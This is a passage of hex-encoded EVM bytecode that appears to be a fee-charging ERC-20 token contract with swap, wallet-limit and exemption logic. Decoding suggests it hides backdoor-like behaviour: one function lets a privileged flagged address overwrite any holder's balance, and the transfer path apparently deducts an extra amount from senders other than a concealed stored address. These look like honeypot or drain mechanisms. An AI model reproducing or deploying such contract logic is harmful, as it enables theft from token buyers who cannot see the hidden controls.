fffffffffffffffffffffffffffff16021790555073e69edcd0d4b515a54fe0e65511f8d43183f365e6600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000b9162000c4f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000bdf62000c4f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000c4091906200137f565b60405180910390a3506200145a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000c9191906200139c565b90508381101562000cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000cd09062001438565b60405180910390fd5b8091505092915050565b600062000cf68262000cfd60201b60201c565b9050919050565b6000819050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d8957607f821691505b60208210810362000d9f5762000d9e62000d41565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e097fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000dca565b62000e15868362000dca565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000e6262000e5c62000e568462000e2d565b62000e37565b62000e2d565b9050919050565b6000819050919050565b62000e7e8362000e41565b62000e9662000e8d8262000e69565b84845462000dd7565b825550505050565b600090565b62000ead62000e9e565b62000eba81848462000e73565b505050565b5b8181101562000ee25762000ed660008262000ea3565b60018101905062000ec0565b5050565b601f82111562000f315762000efb8162000da5565b62000f068462000dba565b8101602085101562000f16578190505b62000f2e62000f258562000dba565b83018262000ebf565b50505b505050565b600082821c905092915050565b600062000f566000198460080262000f36565b1980831691505092915050565b600062000f71838362000f43565b9150826002028217905092915050565b62000f8c8262000d07565b67ffffffffffffffff81111562000fa85762000fa762000d12565b5b62000fb4825462000d70565b62000fc182828562000ee6565b600060209050601f83116001811462000ff9576000841562000fe4578287015190505b62000ff0858262000f63565b86555062001060565b601f198416620010098662000da5565b60005b8281101562001033578489015182556001820191506020850194506020810190506200100c565b868310156200105357848901516200104f601f89168262000f43565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010f657808604811115620010ce57620010cd62001068565b5b6001851615620010de5780820291505b8081029050620010ee8562001097565b9450620010ae565b94509492505050565b600082620011115760019050620011e4565b81620011215760009050620011e4565b81600181146200113a576002811462001145576200117b565b6001915050620011e4565b60ff8411156200115a576200115962001068565b5b8360020a91508482111562001174576200117362001068565b5b50620011e4565b5060208310610133831016604e8410600b8410161715620011b55782820a905083811115620011af57620011ae62001068565b5b620011e4565b620011c48484846001620010a4565b92509050818404811115620011de57620011dd62001068565b5b81810290505b9392505050565b600060ff82169050919050565b6000620012058262000e2d565b91506200121283620011eb565b9250620012417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010ff565b905092915050565b6000620012568262000e2d565b9150620012638362000e2d565b9250828202620012738162000e2d565b915082820484148315176200128d576200128c62001068565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620012c68262001299565b9050919050565b620012d881620012b9565b8114620012e457600080fd5b50565b600081519050620012f881620012cd565b92915050565b60006020828403121562001317576200131662001294565b5b60006200132784828501620012e7565b91505092915050565b6200133b81620012b9565b82525050565b600060408201905062001358600083018562001330565b62001367602083018462001330565b9392505050565b620013798162000e2d565b82525050565b60006020820190506200139660008301846200136e565b92915050565b6000620013a98262000e2d565b9150620013b68362000e2d565b9250828201905080821115620013d157620013d062001068565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001420601b83620013d7565b91506200142d82620013e8565b602082019050919050565b60006020820190508181036000830152620014538162001411565b9050919050565b6080516149f26200147d600039600081816110c301526110ef01526149f26000f3fe6080604052600436106103855760003560e01c80638b42507f116101d1578063c49b9a8011610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610d75578063f2514e8814610d9e578063f2fde38b14610ddb578063f872858a14610e045761038c565b8063da00097d14610cb7578063dc44b6a014610ce2578063dd62ed3e14610d0d578063f0cd1dac14610d4a5761038c565b8063c8607952116100dc578063c860795214610bfb578063c867d60b14610c26578063cab0347114610c63578063cc16f5db14610c8e5761038c565b8063c49b9a8014610b7c578063c5d2418914610ba5578063c816841b14610bd05761038c565b8063a08e671f1161016f578063a83f53a711610149578063a83f53a714610ac0578063a9059cbb14610aeb578063c2d4640e14610b28578063c469b6dd14610b515761038c565b8063a08e671f14610a2f578063a457c2d714610a5a578063a5d69d1f14610a975761038c565b806395d89b41116101ab57806395d89b41146109835780639c64954e146109ae578063a06b98f8146109d9578063a073d37f14610a045761038c565b80638b42507f146108f25780638da5cb5b1461092f5780639174c79d1461095a5761038c565b80633b97084a116102b65780636249faf1116102545780637d1db4a5116102235780637d1db4a514610846578063807c2d9c1461087157806382eefb431461089c57806388790a68146108c75761038c565b80636249faf11461077a57806370a08231146107a3578063758e6bb1146107e057806377f31d031461081d5761038c565b806357a5802f1161029057806357a5802f146106be5780635881f3ef146106e957806360efb94f1461072657806361a23c691461074f5761038c565b80633b97084a1461062d57806342efd370146106565780634a74bb02146106935761038c565b806327c8f83511610323578063313ce567116102fd578063313ce5671461055f57806335d236151461058a57806339509351146105b35780633b646444146105f05761038c565b806327c8f835146104e05780632b112e491461050b5780632c4b2334146105365761038c565b80631694505e1161035f5780631694505e1461042457806318160ddd1461044f57806323b872dd1461047a5780632563ae83146104b75761038c565b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610e2f565b6040516103b39190613b60565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190613c20565b610ec1565b6040516103f09190613c7b565b60405180910390f35b34801561040557600080fd5b5061040e610edf565b60405161041b9190613cb7565b60405180910390f35b34801561043057600080fd5b50610439610f05565b6040516104469190613d31565b60405180910390f35b34801561045b57600080fd5b50610464610f2b565b6040516104719190613d5b565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c9190613d76565b610f35565b6040516104ae9190613c7b565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190613df5565b61100f565b005b3480156104ec57600080fd5b506104f56110c1565b6040516105029190613e31565b60405180910390f35b34801561051757600080fd5b506105206110e5565b60405161052d9190613d5b565b60405180910390f35b34801561054257600080fd5b5061055d60048036038101906105589190613e4c565b611129565b005b34801561056b57600080fd5b50610574611202565b6040516105819190613e95565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac9190613e4c565b611219565b005b3480156105bf57600080fd5b506105da60048036038101906105d59190613c20565b6112f2565b6040516105e79190613c7b565b60405180910390f35b3480156105fc57600080fd5b5061061760048036038101906106129190613e4c565b6113a5565b6040516106249190613c7b565b60405180910390f35b34801561063957600080fd5b50610654600480360381019061064f9190613eb0565b6113c5565b005b34801561066257600080fd5b5061067d60048036038101906106789190613e4c565b611464565b60405161068a9190613c7b565b60405180910390f35b34801561069f57600080fd5b506106a8611484565b6040516106b59190613c7b565b60405180910390f35b3480156106ca57600080fd5b506106d3611497565b6040516106e09190613d5b565b60405180910390f35b3480156106f557600080fd5b50610710600480360381019061070b9190613e4c565b61149d565b60405161071d9190613e31565b60405180910390f35b34801561073257600080fd5b5061074d60048036038101906107489190613edd565b6119a0565b005b34801561075b57600080fd5b50610764611a80565b6040516107719190613d5b565b60405180910390f35b34801561078657600080fd5b506107a1600480360381019061079c9190613f95565b611a86565b005b3480156107af57600080fd5b506107ca60048036038101906107c59190613e4c565b611bc0565b6040516107d79190613d5b565b60405180910390f35b3480156107ec57600080fd5b5061080760048036038101906108029190613e4c565b611c09565b6040516108149190613c7b565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190613f95565b611c29565b005b34801561085257600080fd5b5061085b611d63565b6040516108689190613d5b565b60405180910390f35b34801561087d57600080fd5b50610886611d69565b6040516108939190613d5b565b60405180910390f35b3480156108a857600080fd5b506108b1611d6f565b6040516108be9190613d5b565b60405180910390f35b3480156108d357600080fd5b506108dc611d75565b6040516108e99190613d5b565b60405180910390f35b3480156108fe57600080fd5b5061091960048036038101906109149190613e4c565b611d7b565b6040516109269190613c7b565b60405180910390f35b34801561093b57600080fd5b50610944611d9b565b6040516109519190613e31565b60405180910390f35b34801561096657600080fd5b50610981600480360381019061097c9190613edd565b611dc4565b005b34801561098f57600080fd5b50610998611ea4565b6040516109a59190613b60565b60405180910390f35b3480156109ba57600080fd5b506109c3611f36565b6040516109d09190613d5b565b60405180910390f35b3480156109e557600080fd5b506109ee611f3c565b6040516109fb9190613cb7565b60405180910390f35b348015610a1057600080fd5b50610a19611f62565b604051610a269190613d5b565b60405180910390f35b348015610a3b57600080fd5b50610a44611f6c565b604051610a519190613d5b565b60405180910390f35b348015610a6657600080fd5b50610a816004803603810190610a7c9190613c20565b611f72565b604051610a8e9190613c7b565b60405180910390f35b348015610aa357600080fd5b50610abe6004803603810190610ab99190613df5565b61203f565b005b348015610acc57600080fd5b50610ad56120f1565b604051610ae29190613d5b565b60405180910390f35b348015610af757600080fd5b50610b126004803603810190610b0d9190613c20565b6120f7565b604051610b1f9190613c7b565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a9190613edd565b612116565b005b348015610b5d57600080fd5b50610b666121f6565b604051610b739190613d5b565b60405180910390f35b348015610b8857600080fd5b50610ba36004803603810190610b9e9190613df5565b6121fc565b005b348015610bb157600080fd5b50610bba6122e5565b604051610bc79190613d5b565b60405180910390f35b348015610bdc57600080fd5b50610be56122eb565b604051610bf29190613e31565b60405180910390f35b348015610c0757600080fd5b50610c10612311565b604051610c1d9190613d5b565b60405180910390f35b348015610c3257600080fd5b50610c4d6004803603810190610c489190613e4c565b612317565b604051610c5a9190613c7b565b60405180910390f35b348015610c6f57600080fd5b50610c78612337565b604051610c859190613d5b565b60405180910390f35b348015610c9a57600080fd5b50610cb56004803603810190610cb09190613c20565b61233d565b005b348015610cc357600080fd5b50610ccc6123d8565b604051610cd99190613c7b565b60405180910390f35b348015610cee57600080fd5b50610cf76123eb565b604051610d049190613d5b565b60405180910390f35b348015610d1957600080fd5b50610d346004803603810190610d2f9190613ff5565b6123f1565b604051610d419190613d5b565b60405180910390f35b348015610d5657600080fd5b50610d5f612478565b604051610d6c9190613d5b565b60405180910390f35b348015610d8157600080fd5b50610d9c6004803603810190610d979190613eb0565b61247e565b005b348015610daa57600080fd5b50610dc56004803603810190610dc09190613e4c565b61251d565b604051610dd29190613c7b565b60405180910390f35b348015610de757600080fd5b50610e026004803603810190610dfd9190613e4c565b61253d565b005b348015610e1057600080fd5b50610e1961268f565b604051610e269190613c7b565b60405180910390f35b606060028054610e3e90614064565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90614064565b8015610eb75780601f10610e8c57610100808354040283529160200191610eb7565b820191906000526020600020905b815481529060010190602001808311610e9a57829003601f168201915b5050505050905090565b6000610ed5610ece612700565b8484612708565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6000610f428484846128d1565b5061100484610f4f612700565b610fff8560405180606001604052806028815260200161497060289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fb5612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f059092919063ffffffff16565b612708565b600190509392505050565b611017612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b906140e1565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111246111137f0000000000000000000000000000000000000000000000000000000000000000611bc0565b601a54612f6990919063ffffffff16565b905090565b611131612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b5906140e1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611221612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906140e1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061139b6112ff612700565b846113968560076000611310612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b612708565b6001905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6113cd612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611451906140e1565b60405180910390fd5b80601d8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b60145481565b60006114a7612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b906140e1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a89190614116565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561160f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116339190614116565b6040518363ffffffff1660e01b8152600401611650929190614143565b602060405180830381865afa15801561166d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116919190614116565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611824578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611712573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117369190614116565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561179d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c19190614116565b6040518363ffffffff1660e01b81526004016117de929190614143565b6020604051808303816000875af11580156117fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118219190614116565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6119a8612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c906140e1565b60405180910390fd5b82600e8190555081600f8190555080601081905550611a75601054611a67600f54600e546126a290919063ffffffff16565b6126a290919063ffffffff16565b601781905550505050565b60155481565b611a8e612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b12906140e1565b60405180910390fd5b60005b83839050811015611bba578160096000868685818110611b4157611b4061416c565b5b9050602002016020810190611b569190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bb2906141ca565b915050611b1e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b6020528060005260406000206000915054906101000a900460ff1681565b611c31612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb5906140e1565b60405180910390fd5b60005b83839050811015611d5d578160086000868685818110611ce457611ce361416c565b5b9050602002016020810190611cf99190613e4c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d55906141ca565b915050611cc1565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611dcc612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e50906140e1565b60405180910390fd5b826011819055508160128190555080601381905550611e99601354611e8b6012546011546126a290919063ffffffff16565b6126a290919063ffffffff16565b601881905550505050565b606060038054611eb390614064565b80601f0160208091040260200160405190810160405280929190818152602001828054611edf90614064565b8015611f2c5780601f10611f0157610100808354040283529160200191611f2c565b820191906000526020600020905b815481529060010190602001808311611f0f57829003601f168201915b5050505050905090565b60015481565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601d54905090565b60195481565b6000612035611f7f612700565b84612030856040518060600160405280602581526020016149986025913960076000611fa9612700565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f059092919063ffffffff16565b612708565b6001905092915050565b612047612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cb906140e1565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b600061210b612104612700565b84846128d1565b506001905092915050565b61211e612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a2906140e1565b60405180910390fd5b8260148190555081601581905550806016819055506121eb6016546121dd6015546014546126a290919063ffffffff16565b6126a290919063ffffffff16565b601981905550505050565b60105481565b612204612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612288906140e1565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516122da9190613c7b565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156123d45780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b612486612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250a906140e1565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612545612700565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c9906140e1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b60008082846126b19190614212565b9050838110156126f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ed90614292565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614324565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127dd906143b6565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128c49190613d5b565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293890614448565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a7906144da565b60405180910390fd5b601f60149054906101000a900460ff16156129d7576129d0848484612fb3565b9050612efe565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a7b5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ac657601b54821115612ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612abc9061456c565b60405180910390fd5b5b6000612ad130611bc0565b90506000601d548210159050808015612af75750601f60149054906101000a900460ff16155b8015612b4d5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b655750601f60159054906101000a900460ff165b15612b8f57601f60169054906101000a900460ff1615612b8557601d5491505b612b8e82613186565b5b612b9886613377565b15612c3357612bef84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6990919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cd65750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cea57612ce58787876133ba565b612cec565b845b9050601f60179054906101000a900460ff168015612d545750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8357601c54612d7782612d6989611bc0565b6126a290919063ffffffff16565b1115612d8257600080fd5b5b600080612d8e575060015b15612dfc57600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612dfb5760018015612df1575060005b612dfa57600080fd5b5b5b612e4e81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612eee9190613d5b565b60405180910390a3600193505050505b9392505050565b6000838311158290612f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f449190613b60565b60405180910390fd5b5060008385612f5c919061458c565b9050809150509392505050565b6000612fab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f05565b905092915050565b600061303e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f059092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d382600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131739190613d5b565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff02191690831515021790555060006131df60026131d16019546131c3601454876135e190919063ffffffff16565b61365b90919063ffffffff16565b61365b90919063ffffffff16565b905060006131f68284612f6990919063ffffffff16565b9050613201816136a5565b60004790506000613232613221600260145461365b90919063ffffffff16565b601954612f6990919063ffffffff16565b90506000613270600261326284613254601454886135e190919063ffffffff16565b61365b90919063ffffffff16565b61365b90919063ffffffff16565b9050600061329b8361328d601654876135e190919063ffffffff16565b61365b90919063ffffffff16565b905060006132c4826132b68588612f6990919063ffffffff16565b612f6990919063ffffffff16565b905060008111156132fc576132fb600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613921565b5b600082111561333257613331600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613921565b5b6000831180156133425750600087115b1561335257613351878461396c565b5b505050505050506000601f60146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661339b600154613a51565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156134425761343b606461342d601754866135e190919063ffffffff16565b61365b90919063ffffffff16565b90506134c0565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156134bf576134bc60646134ae601854866135e190919063ffffffff16565b61365b90919063ffffffff16565b90505b5b60008111156135c45761351b81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a290919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516135bb9190613d5b565b60405180910390a35b6135d78184612f6990919063ffffffff16565b9150509392505050565b60008083036135f35760009050613655565b6000828461360191906145c0565b90508284826136109190614631565b14613650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613647906146d4565b60405180910390fd5b809150505b92915050565b600061369d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f